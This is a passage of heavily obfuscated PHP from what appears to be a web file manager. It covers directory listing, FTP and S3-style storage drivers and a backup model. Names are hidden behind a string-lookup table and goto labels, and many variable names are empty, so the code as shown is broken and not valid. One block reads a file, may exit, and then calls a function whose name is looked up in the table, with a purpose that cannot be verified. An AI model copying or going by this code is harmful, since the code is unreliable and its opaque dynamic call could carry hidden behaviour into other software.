$) { $ = $Ł[563]; if ($[$Ł[564]] == $Ł[91]) { $ .= $Ł[565]; } $ә[$Ł[90]][$Ł[562]] = array_field_key($, explode($Ł[50], $)); } } } unset($ә); return $; } protected function _listAppendChildren(&$ۘ, $ދ) { $ =& $_SERVER[ձК]; $ӫ = array(); $Ɣ = array($[241] => 0, $[242] => 0); foreach ($ۘ as &$Ьʧ) { if (!$Ьʧ[$[487]]) { continue; } $ӫ[] = $Ьʧ[$[193]]; } unset($Ьʧ); if (!$ӫ) { return; } $Ɉ = array($[192] => array($[7], $ӫ), $[507] => 0); $Ɋ = array($[192], $[487], $[566] => $[567]); $ = $this->field($Ɋ)->where($Ɉ)->group($[568])->select(); $ = array(); foreach ($ as $) { $ = $[$[192]]; $҉ = $[$[487]] == $[91] ? $[242] : $[241]; if (!isset($[$])) { $[$] = array($[241] => 0, $[242] => 0); } $[$][$҉] += $[$[567]]; } foreach ($ۘ as &$Ьʧ) { if (!$Ьʧ[$[487]]) { continue; } $Ȉ = is_array($[$Ьʧ[$[193]]]) ? $[$Ьʧ[$[193]]] : $Ɣ; $Ьʧ[$[242]] = $Ȉ[$[242]]; $Ьʧ[$[241]] = $Ȉ[$[241]]; unset($Ьʧ[$[488]]); } unset($Ьʧ); } protected function _listAppendAuth(&$) { $̨ =& $_SERVER[ձК]; $ = array(); foreach ($ as $ҝ) { if ($ҝ[$̨[190]] == self::TYPE_GROUP) { $[] = $ҝ[$̨[193]]; } } if (!$) { return; } $ = array_to_keyvalue($, $̨[193]); $ = Model($̨[569])->getSourceList($, $); $ч = KodUser::isRoot(); foreach ($ as $ᠺ => &$ҝ) { $ҝ[$̨[489]] = $[$ҝ[$̨[193]]]; if (!$ҝ[$̨[489]] && $ҝ[$̨[190]] == self::TYPE_GROUP) { $ҝ[$̨[489]] = Action($̨[570])->pathGroupAuthMake($ҝ[$̨[571]]); if (!$ҝ[$̨[489]] && !$ч) { $ҝ[$̨[235]] = !1; $ҝ[$̨[234]] = !1; } } if ($ҝ[$̨[489]]) { $ҝ[$̨[235]] = AuthModel::authCheckEdit($ҝ[$̨[489]][$̨[490]]); $ҝ[$̨[234]] = AuthModel::authCheckView($ҝ[$̨[489]][$̨[490]]); } $this->groupPathDisplay($ҝ); } unset($ҝ); } public function _listAppendAuthSecret(&$) { $ʿ =& $_SERVER[ձК]; if (Model($ʿ[510])->get($ʿ[572]) != $ʿ[91]) { return; } static $ = false; if (!$) { $֬ = Model($ʿ[573]); $Ȗ = Model($ʿ[574]); $ = $Ȗ->listData(); $ = array_to_keyvalue($, $ʿ[193]); $߁ = json_decode(Model($ʿ[510])->get($ʿ[575]), !0); $߁ = array_to_keyvalue($߁, $ʿ[477]); foreach ($ as $草 => $ȸ) { $ = $߁[$ȸ[$ʿ[576]]]; if (!$) { $Ȗ->remove($ȸ[$ʿ[477]]); unset($[$草]); continue; } $ = $֬->listData($[$ʿ[489]]); if (!$) { $Ȗ->remove($ȸ[$ʿ[477]]); unset($[$草]); continue; } $ȸ[$ʿ[489]] = $; $ȸ[$ʿ[577]] = $; $ȸ[$ʿ[578]] = Model($ʿ[579])->getInfoSimpleOuter($ȸ[$ʿ[529]]); $[$草] = $ȸ; } } $ = USER_ID; $ = array(); $ȣ = $this->_listAppendPath($, !0); foreach ($ as $草 => &$ȸ) { if (!is_array($ȸ[$ʿ[489]])) { continue; } if ($ȸ[$ʿ[190]] != $ʿ[580]) { continue; } if (isset($[$ȸ[$ʿ[193]]])) { $ە = $[$ȸ[$ʿ[193]]]; if (!is_array($ȸ[$ʿ[541]])) { $ȸ[$ʿ[541]] = array(); } $ȸ[$ʿ[541]][$ʿ[581]] = $ە[$ʿ[576]]; $ȸ[$ʿ[489]][$ʿ[582]] = $ە; $ȸ[$ʿ[489]][$ʿ[583]] = $ȸ[$ʿ[584]]; $ȸ[$ʿ[489]][$ʿ[585]] = $ʿ[91]; if ($ە[$ʿ[529]] != $) { $ȸ[$ʿ[489]][$ʿ[490]] = $ȸ[$ʿ[489]][$ʿ[490]] & $ە[$ʿ[489]][$ʿ[489]]; } continue; } $ = $this->parentLevelArray($ȸ[$ʿ[586]]); $Χ = array_reverse($); foreach ($Χ as $ʿݡ => $᭵) { if (!isset($[$᭵])) { continue; } $ە = $[$᭵]; $ȸ[$ʿ[489]][$ʿ[582]] = $ە; if ($ە[$ʿ[529]] != $) { $ȸ[$ʿ[489]][$ʿ[490]] = $ȸ[$ʿ[489]][$ʿ[490]] & $ە[$ʿ[489]][$ʿ[489]]; } $ = $ʿ[12]; $ߕ = count($) - $ʿݡ; for ($΅ߨ = 0; $΅ߨ < $ߕ; $΅ߨ++) { if (!isset($ȣ[$[$΅ߨ]])) { $ = $ʿ[12]; break; } $ = $ . rtrim($ȣ[$[$΅ߨ]], $ʿ[8]) . $ʿ[8]; } $ȸ[$ʿ[489]][$ʿ[583]] = rtrim($, $ʿ[8]) . $ʿ[8]; break; } } unset($ȸ); } public function groupPathDisplay(&$) { $ =& $_SERVER[ձК]; if ($[$[190]] != self::TYPE_GROUP) { return; } $ = Model($[587])->getInfo($[$[571]]); $у = $this->parentLevelArray($[$[586]]); $Ԋ = $[12]; foreach ($у as $) { $Ԥ = Model($[587])->getInfo($); $Ԋ .= $Ԥ[$[90]][$[193]] . $[50]; } $[$[588]] = $[$[192]]; $[$[589]] = $[$[586]]; $[$[590]] = $[$[591]]; $[$[592]] = $Ԋ . $[$[90]][$[193]]; } protected function _listAppendPath(&$Ƞ, $ = false) { $ =& $_SERVER[ձК]; static $Ɏ = array(); $ӌ = array(); $ = array(); if ($) { return $Ɏ; } foreach ($Ƞ as &$) { $ʑ = $[$[193]]; if ($[$[487]] == $[91] && $[$[192]] != 0) { $Ɏ[$ʑ] = $[$[32]]; } if ($[$[487]] == $[91] && $[$[192]] == 0) { $Ɏ[$ʑ] = $this->_listAppendPathRoot($, array()); } if (isset($[$[$[586]]])) { continue; } $[$[$[586]]] = !0; $Ŭ = $this->parentLevelArray($[$[586]]); foreach ($Ŭ as $ => $) { if (isset($Ɏ[$])) { continue; } if ($ == 0) { $Ɏ[$] = $this->_listAppendPathRoot($, $Ŭ); } if ($ != 0) { $ӌ[] = $; } } } unset($); $ӌ = array_unique($ӌ); if (count($ӌ) > 0) { $Ұ = array($[493] => array($[494], $ӌ)); if (count($ӌ) == 1) { $݈ = $this->sourceInfo($ӌ[0]); $ = is_array($݈) ? array($݈) : !1; } else { $ = $this->field($[593])->where($Ұ)->select(); } if (!$) { $ = array(); } foreach ($ as $) { $Ɏ[$[$[193]]] = $[$[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($Ƞ as &$) { $ = $[$[586]]; $ = $[12]; if (isset($[$])) { $ = $[$]; } else { $Ŭ = $this->parentLevelArray($[$[586]]); foreach ($Ŭ as $ => $) { if (isset($Ɏ[$])) { $ .= $Ɏ[$] . $[8]; } } $[$] = $; } $ .= $[$[32]]; if ($[$[487]] == $[91]) { $ .= $[8]; } $[$[584]] = str_replace($[256], $[8], $); if ($[$[192]] == $[230]) { $[$[32]] = trim($Ɏ[$[$[193]]], $[8]); $[$[584]] = $[$[32]] . $[8]; } if (intval($[$[190]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $Ŭ, $); } } unset($); return $Ƞ; } private function _listAppendPathRecycle(&$ޣ, $ں, $) { $ =& $_SERVER[ձК]; if (!in_array($, $ں) && $ޣ[$[193]] != $) { return; } $ = explode($[8], trim($ޣ[$[584]], $[8])); $ך = implode($[8], array_slice($, 2)); $ޣ[$[584]] = $[8] . LNG($[594]) . $[8] . ltrim($ך, $[8]); $ޣ[$[586]] = $[595] . implode($[50], array_slice($ں, 1)) . $[50]; if ($ޣ[$[193]] == $) { $ޣ[$[586]] = $[595]; $ޣ[$[192]] = $[230]; $ޣ[$[32]] = LNG($[594]); } $ޣ[$[596]] = $[597]; } protected function _listAppendPathRoot(&$, $ďғ) { $ =& $_SERVER[ձК]; static $۪ = false; static $̡ = false; $ʕ = $[12]; if ($[$[190]] == self::TYPE_USER) { if ($[$[571]] == USER_ID) { $ʕ = LNG($[598]); if ($۪ === !1) { $˂ = Model($[599])->getInfoFull(USER_ID); $۪ = _get($˂, $[600], $[12]); } if ($̡ === !1) { $˂ = Model($[599])->getInfoFull(USER_ID); $̡ = _get($˂, $[601], $[12]); } if ($ďғ && $ďғ[0] == $۪ || !$ďғ && $[$[193]] == $۪) { $ʕ = LNG($[602]); $[$[603]] = $[604]; } if ($ďғ && $ďғ[0] == $̡ || !$ďғ && $[$[193]] == $̡) { $ʕ = $ʕ . $[605] . LNG($[606]); } if (!$ďғ) { $[$[32]] = $ʕ; } } else { $˂ = Model($[599])->getInfoFull($[$[571]]); $ȷ = _get($˂, $[601], $[12]); $[$[607]] = Model($[579])->getInfoSimpleOuter($[$[571]]); $ʕ = LNG($[608]) . $[176] . $[$[607]][$[32]] . $[178]; if ($ďғ && $ďғ[0] == $ȷ || !$ďғ && $[$[193]] == $ȷ) { $ʕ = LNG($[608]) . $[609] . $[$[607]][$[32]] . $[605] . LNG($[606]) . $[178]; } } } else { if ($[$[190]] == self::TYPE_GROUP) { $ = Model($[587])->getInfoSimple($[$[571]]); $ʕ = $[$[32]]; } else { if ($[$[190]] == self::TYPE_SYSTEM) { $ʕ = $[610]; } } } $ʕ = $ʕ ? $[8] . $ʕ . $[8] : $[8]; return $ʕ; } protected function _listAppendUser(&$ؓߐ) { $͂Ӝ =& $_SERVER[ձК]; $Nj = array_to_keyvalue($ؓߐ, $͂Ӝ[12], $͂Ӝ[529]); $ݧ瓬 = array_to_keyvalue($ؓߐ, $͂Ӝ[12], $͂Ӝ[531]); $̒ = array_merge($Nj, $ݧ瓬); $Ҏ = Model($͂Ӝ[599])->userListInfo($̒); foreach ($ؓߐ as &$ވ) { $ = $ވ[$͂Ӝ[529]]; $ވ[$͂Ӝ[529]] = $Ҏ[$] ? $Ҏ[$] : !1; $ = $ވ[$͂Ӝ[531]]; $ވ[$͂Ӝ[531]] = $Ҏ[$] ? $Ҏ[$] : !1; if (_get($ވ, $͂Ӝ[611], 0)) { $ꄅ = $GLOBALS[$͂Ӝ[6]][$͂Ӝ[92]][$͂Ӝ[612]]; if ($ވ[$͂Ӝ[541]][$͂Ӝ[613]] <= time() - $ꄅ) { $this->metaSet($ވ[$͂Ӝ[193]], $͂Ӝ[614], null); $this->metaSet($ވ[$͂Ӝ[193]], $͂Ӝ[613], null); unset($ވ[$͂Ӝ[541]][$͂Ӝ[614]]); continue; } $ñ = $ވ[$͂Ӝ[541]][$͂Ӝ[614]]; $ވ[$͂Ӝ[541]][$͂Ӝ[615]] = Model($͂Ӝ[599])->getInfoSimpleOuter($ñ); } } unset($ވ); } public function parentLevelArray($ع) { $ߚ =& $_SERVER[ձК]; $ع = explode($ߚ[50], trim($ع, $ߚ[50])); return array_remove_value($ع, $ߚ[230]); } public function listAll($) { $ҋ =& $_SERVER[ձК]; $ݑ = $this->sourceInfo($); $ҋ = array($ҋ[616] => array($ҋ[617], $ݑ[$ҋ[586]] . $ . $ҋ[618]), $ҋ[619] => 0); $ = $ҋ[620]; $ϖѹ = "\x4c\x45\106\x54\x20\112\x4f\x49\x4e\x20{$this->tablePrefix}\x69\x6f\x5f\x66\x69\154\145\40\146\x69\154\x65\x20\x6f\156\40\163\157\165\x72\143\x65\x2e\x66\151\x6c\145\111\104\x20\75\40\146\x69\x6c\145\56\146\x69\x6c\x65\x49\104"; $ν = $this->alias($ҋ[521])->field($)->where($ҋ)->join($ϖѹ)->select(); $this->_listAppendAuth($ν); $this->_listAppendUser($ν); $this->_listAppendPath($ν); $ν = array_to_keyvalue($ν, $ҋ[193]); $ƴ = "\57{$ݑ[$ҋ[32]]}\57"; $ƴ = $ƴ == $ҋ[256] ? $ҋ[8] : $ƴ; $ԇ = array(); foreach ($ν as $ֹ => $ο) { $ = $this->parentLevelArray($ο[$ҋ[586]]); array_shift($); $ļ = $ƴ; for ($ = 0; $ < count($); $++) { $ļ .= $ν[$[$]][$ҋ[32]] . $ҋ[8]; } $ļ .= $ο[$ҋ[32]]; if ($ο[$ҋ[487]]) { $ļ .= $ҋ[8]; } $诀 = array($ҋ[497] => str_replace($ҋ[256], $ҋ[8], str_replace($ҋ[256], $ҋ[8], str_replace($ҋ[256], $ҋ[8], $ļ))), $ҋ[621] => intval($ο[$ҋ[487]]), $ҋ[622] => intval($ο[$ҋ[79]]), $ҋ[88] => intval($ο[$ҋ[88]]), $ҋ[90] => $this->pathInfoFilter($ο)); if (!$诀[$ҋ[487]]) { $诀[$ҋ[543]] = $ο[$ҋ[543]]; } $ԇ[] = $诀; } $ԇ = array_sort_by($ԇ, $ҋ[87]); return $ԇ; } } goto b٭; c쮙媈: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($ҩ) { parent::__construct($ҩ); $this->setSignVersion($_SERVER[ձК][249]); } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[ձК]; $ = $[231]; $昒 = $[259]; $ = $[62]; $ = gmdate($[260]); $Ү = gmdate($[261]); $Πؒ = $[262]; $ = $ . $[12]; $Çࡼ = $[263]; $ۈ = array($this->accessKey, $Ү, $this->region, $, $Πؒ); $ = implode($[8], $ۈ); $ˑߜ = array($[264] => gmdate($[1415], strtotime($[266])), $[267] => array(array($[268] => $this->bucket), array($[308] => $), array($[269], $[270], $[12]), array($[269], $[271], $[12]), array($[269], $[309], $[12]), array($[272] => $Çࡼ), array($[273] => $), array($[274] => $昒), array($[275] => $), array($[276] => $))); $ = base64_encode(json_encode($ˑߜ)); $ = hash_hmac($[277], $Ү, $[278] . $this->secret, !0); $ = hash_hmac($[277], $this->region, $, !0); $Ѱ = hash_hmac($[277], $, $, !0); $ = hash_hmac($[277], $Πؒ, $Ѱ, !0); $ = hash_hmac($[277], $, $); $ = array($[248] => $[12], $[296] => $[12], $[308] => $, $[272] => $Çࡼ, $[279] => $, $[310] => $, $[311] => $昒, $[312] => $, $[313] => $, $[314] => $, $[208] => $this->getHost()); return $; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\x31"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($Ë) { $վ =& $_SERVER[ձК]; global $config; $this->appCharset = $config[$վ[1441]]; $this->systemCharset = $config[$վ[1442]]; if (isset($Ë[$վ[1443]]) && $Ë[$վ[1443]]) { $this->systemCharset = $Ë[$վ[1443]]; } } public function iconvApp($،) { return $this->iconvTo($،, $this->systemCharset, $this->appCharset); } public function iconvSystem($̊ƞ) { return $this->iconvTo($̊ƞ, $this->appCharset, $this->systemCharset); } public function getPathOuter($) { $ =& $_SERVER[ձК]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1413]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1413]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } private function _init($ޛ = array()) { $ِ̗ =& $_SERVER[ձК]; if (!function_exists($ِ̗[1444])) { throw new Exception(LNG($ِ̗[1445])); } $this->config = $ޛ; $this->charsetReset($ޛ); foreach ($ޛ as $ => $ǖ) { if (isset($this->{$})) { $this->{$} = $ǖ; } } return $this->_login($ޛ); } private function _login($ј) { $鐖 =& $_SERVER[ձК]; static $ȶ = array(); $ = md5(json_encode($ј)); if (isset($ȶ[$])) { foreach ($ȶ[$] as $ => $ƑҤ) { $this->{$} = $ƑҤ; } return !0; } $ė = parse_url(trim($this->server, $鐖[8])); $this->host = $ė[$鐖[208]]; $й = isset($ė[$鐖[207]]) && $ė[$鐖[207]] == $鐖[1446] ? !0 : !1; $this->scheme = $й ? $鐖[1447] : $鐖[1448]; $this->port = isset($ė[$鐖[209]]) ? $ė[$鐖[209]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($鐖[1449]) . $this->host . $鐖[4] . $this->port, !0); return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); if (!$) { $this->writeLog(LNG($鐖[1450]) . $this->username, !0); return !1; } @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $鐖[91] ? !0 : !1; @ftp_pasv($this->connect, $); $ȶ[$] = array($鐖[1451] => $this->connect, $鐖[208] => $this->host, $鐖[207] => $this->scheme, $鐖[209] => $this->port); return $; } private function _isconn($͇ = true) { if (is_resource($this->connect)) { return !0; } if (!$͇) { return !1; } return $this->_login($this->config); } public function mkfile($˳, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($˳, $)) { return $this->getPathOuter($˳); } $this->writeLog(LNG($_SERVER[ձК][1452]), !0); return !1; } public function mkdir($Լ, $ = REPEAT_SKIP) { $ =& $_SERVER[ձК]; if (!$Լ || $Լ == $[8]) { return !0; } if (!$this->_isconn()) { return !1; } $Լ = $this->iconvSystem($Լ); if ($this->_isFolder($Լ) || @ftp_mkdir($this->connect, $Լ)) { return $this->getPathOuter($Լ); } if (!$this->mkdir($this->pathFather($Լ))) { return !1; } if ($Լ = @ftp_mkdir($this->connect, $Լ)) { return $this->getPathOuter($Լ); } $this->writeLog(__FUNCTION__ . $[1453], !0); return !1; } public function copyFile($ͪ, $Ü) { if (!$this->_isconn()) { return !1; } $ﵹ = $this->pathThis($this->iconvSystem($ͪ)); $Ǚ = $this->tempFile($ﵹ); $ = $this->iconvApp($Ǚ); $this->download($ͪ, $); $£ = $this->upload($Ü, $); $this->tempFileRemve($Ǚ); return $£; } public function moveFile($Ӣ, $㬊) { if (!$this->_isconn()) { return !1; } $Ӣ = $this->iconvSystem($Ӣ); $㬊 = $this->iconvSystem($㬊); $泻呿 = @ftp_rename($this->connect, $Ӣ, $㬊); if (!$泻呿) { $this->writeLog(__FUNCTION__ . $_SERVER[ձК][1453], !0); return !1; } return $this->getPathOuter($㬊); } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $Ш = @ftp_delete($this->connect, $); if (!$Ш) { $this->writeLog(__FUNCTION__ . $_SERVER[ձК][1453], !0); } return $Ш; } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ȕԜ = $ĵ = array(); $this->fileList($, $ȕԜ, $ĵ, !0); $this->listItemCache = !0; foreach ($ĵ as $) { $Ԗ = $this->iconvSystem($[$_SERVER[ձК][32]]); $ = @ftp_delete($this->connect, $Ԗ); if (!$) { return !1; } } foreach ($ȕԜ as $Ԗ) { $Ԗ = $this->iconvSystem($Ԗ); $ = @ftp_rmdir($this->connect, $Ԗ); if (!$) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($Ȋ, $ǖ) { $沝 =& $_SERVER[ձК]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($Ȋ), $ǖ); $ = $this->iconvSystem($); $Ȋ = $this->iconvSystem($Ȋ); $ = $this->pathFather($Ȋ); $焥 = rtrim($, $沝[8]) . $沝[8] . $; $ = @ftp_rename($this->connect, $Ȋ, $焥); if (!$) { $this->writeLog(__FUNCTION__ . $沝[1453], !0); return !1; } $焥 = $this->iconvApp($焥); return $this->getPathOuter($焥); } private function folderInfo($ω, $ = false) { $凜 =& $_SERVER[ձК]; $ = array($凜[32] => $this->pathThis($ω), $凜[87] => $this->getPathOuter($凜[8] . $ω), $凜[33] => $凜[78]); if ($) { return $; } $[$凜[233]] = $[$凜[88]] = 0; $[$凜[234]] = $[$凜[235]] = !0; return $; } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[ձК]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[232], $[79] => isset($[$[79]]) ? $[$[79]] : 0, $[169] => $this->ext($)); if ($) { return $; } $[$[233]] = $[$[88]] = 0; $[$[234]] = $[$[235]] = !0; $ȳ = $this->iconvSystem($); $[$[88]] = @ftp_mdtm($this->connect, $ȳ); if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[79]] = $[$[79]]; return $; } public function size($) { $՝ = $this->objectMeta($); return $՝ ? $՝[$_SERVER[ձК][79]] : 0; } public function info($Ճ) { if ($this->isFile($Ճ)) { return $this->fileInfo($Ճ, 0); } else { if ($this->isFolder($Ճ)) { return $this->folderInfo($Ճ); } } return !1; } private function fileList($, &$, &$Ƚ, $Ď͕ = false) { $ݍ =& $_SERVER[ձК]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $ݍ[8]); $ = rtrim($, $ݍ[8]) . $ݍ[8]; check_abort(); $ = @ftp_rawlist($this->connect, $); if (!$) { $ = array(); } $վ = array($ݍ[10] => 1, $ݍ[1365] => 1); foreach ($ as $ட) { $ = $this->_listItem($ட); if ($[0] == $ݍ[832]) { continue; } $蓭 = $[8]; if (empty($蓭) && $蓭 !== $ݍ[230] || isset($վ[$蓭])) { continue; } $蓭 = $this->iconvApp($ . ltrim($蓭, $ݍ[8])); $β = array($ݍ[32] => $蓭, $ݍ[33] => $ݍ[232], $ݍ[79] => $[4]); if (substr($ட, 0, 1) == $ݍ[1454]) { $β[$ݍ[33]] = $ݍ[78]; $β[$ݍ[79]] = 0; } $× = $β[$ݍ[33]] == $ݍ[78] ? !0 : !1; $this->cacheMethodInfoSet($蓭, $×, $β); if ($×) { $[] = $蓭; if ($Ď͕) { $this->fileList($蓭, $, $Ƚ, $Ď͕); } continue; } $Ƚ[] = $β; } $this->cacheMethodInfoSet($, !0); } private function _listItem($) { if (empty($)) { return array(); } $Ͼ = preg_split($_SERVER[ձК][1455], $); if (count($Ͼ) <= 9) { return $Ͼ; } $Ͼ[8] = trim(substr($, strpos($, $Ͼ[7]) + strlen($Ͼ[7]))); return array_splice($Ͼ, 0, 9); } public function listPath($䨺Έ, $ = false) { $蠠 =& $_SERVER[ձК]; if (!$this->_isconn()) { return !1; } $ꤡ = $ = array(); $this->fileList($䨺Έ, $ꤡ, $); foreach ($ꤡ as $ => $) { $ꤡ[$] = $this->folderInfo($, $); } foreach ($ as $ => $) { $[$] = $this->fileInfo($[$蠠[32]], $, $); } return array($蠠[85] => $ꤡ, $蠠[86] => $); } public function has($፮, $ = false, $ = true) { $ݷ =& $_SERVER[ձК]; $ = $ = array(); $ = $ ? !0 : !1; $this->fileList($፮, $, $, $); if ($) { return array($ݷ[241] => count($), $ݷ[242] => count($)); } if ($) { if (count($)) { return !0; } } else { if (count($)) { return !0; } } return !1; } public function listAll($ᷴ) { $م =& $_SERVER[ձК]; if (!$this->_isconn()) { return !1; } $覇ާ = $ő = array(); $this->fileList($ᷴ, $覇ާ, $ő, !0); $ = array_to_keyvalue($ő, $م[32]); foreach ($覇ާ as $) { if (is_string($)) { $[$] = array($م[79] => 0); } } return $this->listAllFiles($ᷴ, $); } public function getContent($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return $this->fileSubstr($); } public function setContent($ڷ, $Յ = '') { if (!$this->_isconn()) { return !1; } $ā = $this->pathThis($this->iconvSystem($ڷ)); $Ē = $this->tempFile($ā); file_put_contents($Ē, $Յ); $ = $this->upload($ڷ, $this->iconvApp($Ē)); $this->tempFileRemve($Ē); return $; } public function fileSubstr($Զ, $╈ = 0, $껽 = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($Զ, $╈, $껽); } private function ftpRequest($ߡ, $ = 0, $ = false) { $ߡ = $this->iconvSystem($ߡ); $ = $this->scheme . $this->host . $_SERVER[ձК][4] . $this->port; $麎 = curl_init(); curl_setopt($麎, CURLOPT_URL, $ . $this->pathEncode($ߡ)); curl_setopt($麎, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($) { $ԋ = $ + $ - 1; curl_setopt($麎, CURLOPT_RANGE, "{$}\x2d{$ԋ}"); } curl_setopt($麎, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($麎); curl_close($麎); return $; } public function upload($Ό, $LJ, $ܠ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($Ό))) { return !1; } $Ό = $this->iconvSystem($Ό); $LJ = $this->iconvSystem($LJ); $ = ftp_nb_put($this->connect, $Ό, $LJ, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[ձК][1453], !0); return !1; } return $this->getPathOuter($Ό); } public function download($۠, $ = '') { if (!$this->_isconn()) { return !1; } $ă = $this->pathFather($); if (!IO::mkdir($ă)) { return !1; } $۠ = $this->iconvSystem($۠); $ = $this->iconvSystem($); $ = ftp_nb_get($this->connect, $, $۠, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[ձК][1453], !0); return !1; } return $this->iconvApp($); } public function exist($Д) { return $this->isFile($Д) || $this->isFolder($Д); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[ձК][179], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ձК][181], $); } protected function _objectMeta($тρ) { $̙ =& $_SERVER[ձК]; if ($тρ == $̙[12] || $тρ == $̙[8]) { return array(); } if (!$this->_isconn()) { return !1; } $тρ = $this->iconvSystem($тρ); $ = array($̙[32] => $this->iconvApp($тρ), $̙[33] => $̙[232], $̙[79] => 0); @ftp_chdir($this->connect, $̙[8]); $֧ = @ftp_size($this->connect, $тρ); if ($֧ != -1) { $[$̙[79]] = $֧; } else { $Ҩ = @ftp_chdir($this->connect, $тρ); if (!$Ҩ) { return !1; } $[$̙[33]] = $̙[78]; } return $; } protected function _isFolder($) { $Ŗƭ =& $_SERVER[ձК]; if ($ == $Ŗƭ[12] || $ == $Ŗƭ[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$Ŗƭ[33]]) && $[$Ŗƭ[33]] == $Ŗƭ[78] ? !0 : !1; } } class PathDriverJOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[ձК][249]); } public function uploadLink($őIJ, $ð = 0) { $˿ =& $_SERVER[ձК]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_array($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = (!$ð ? 1 : ceil($ð / pow(1024, 3))) * 3600 * 4; $攈 = $this->uploadMultiData($őIJ, $); if ($攈) { $攈[$˿[97]] = $őIJ; $攈[$˿[98]] = $; } return $攈; } public function fileOutImage($Ē, $Ե = 250) { if ($this->size($Ē) > 1024 * 1024 * 25) { return $this->fileOutImageServer($Ē, $Ե); } $ӻʫ = $this->link($Ē); $ӻʫ .= $_SERVER[ձК][1456] . $Ե; $this->fileOutLink($ӻʫ); } public function fileOutLink($) { $ =& $_SERVER[ձК]; if (substr($, 0, 7) == $[218]) { $ = $[219] . substr($, 7); } header($[175] . $); die; } } goto Fꇥ; Aרፅ: if ($_SERVER[$_SERVER[ձК][952]] != $_SERVER[$_SERVER[ձК][2003]]) { $_getc = $_SERVER[ձК][955]; $_getfile = $_SERVER[$_SERVER[ձК][956]] . $_SERVER[ձК][957]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ձК][287], $_getfilec); if (count($_getarrs) < $_SERVER[ձК][696]) { $exit = $_SERVER[ձК][958]; $exit(); } $_act = $_SERVER[ձК][961]; $_act($_SERVER[$_SERVER[ձК][953]]); } class BackupModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\145\155\56\x62\141\x63\153\165\x70\114\x69\163\164"; public $field = array("\151\x6f", "\x6e\x61\x6d\x65", "\163\164\141\164\x75\x73", "\x63\x6f\x6e\x74\x65\x6e\x74", "\155\141\x6e\165\141\154", "\x72\x65\163\x75\154\164", "\x74\x69\155\x65\x46\162\157\x6d", "\164\151\155\145\124\157"); public function config() { $ =& $_SERVER[ձК]; Action($[2004])->taskInit(); $ = Model($[844])->get($[858]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); $this->parseContent($); unset($[$[1746]]); Model($[1745])->cacheClear(); $ù = $[2005]; $䧛 = Model($[2006])->findByKey($[1764], $ù); if (!$䧛) { $䧛 = array(); } if (isset($䧛[$[206]])) { $䧛[$[206]] = json_decode($䧛[$[206]], !0); } if (isset($[$[206]])) { $䧛[$[206]][$[1749]] = $[$[206]]; unset($[$[206]]); } return array_merge($䧛, $); } public function listData($ = false, $ɠ = "\155\157\144\x69\146\171\x54\151\155\145", $ֳɣ = false) { $ҕ = parent::listData($, $ɠ, !0); if (!$ҕ) { return $ҕ; } if ($) { $ҕ = array($ҕ); } foreach ($ҕ as &$) { $this->parseContent($); } return $ ? $ҕ[0] : $ҕ; } public function parseContent(&$ܿ) { $¥ =& $_SERVER[ձК]; $̕ = _get($ܿ, $¥[171], $¥[91]); if (!in_array($̕, array($¥[850], $¥[1211]))) { $ܿ[$¥[171]] = $̕ == $¥[91] ? $¥[1211] : $¥[850]; } } public function lastItem() { $я = $this->listData(); return !empty($я[0]) ? $я[0] : null; } public function kill($) { $Ƀ =& $_SERVER[ձК]; $֤ = $this->listData($); if (!$֤ || empty($֤[$Ƀ[32]])) { return !0; } Task::kill($Ƀ[857]); Task::kill($Ƀ[875]); Task::kill($Ƀ[884]); $ = $֤[$Ƀ[32]]; $ް = TEMP_FILES 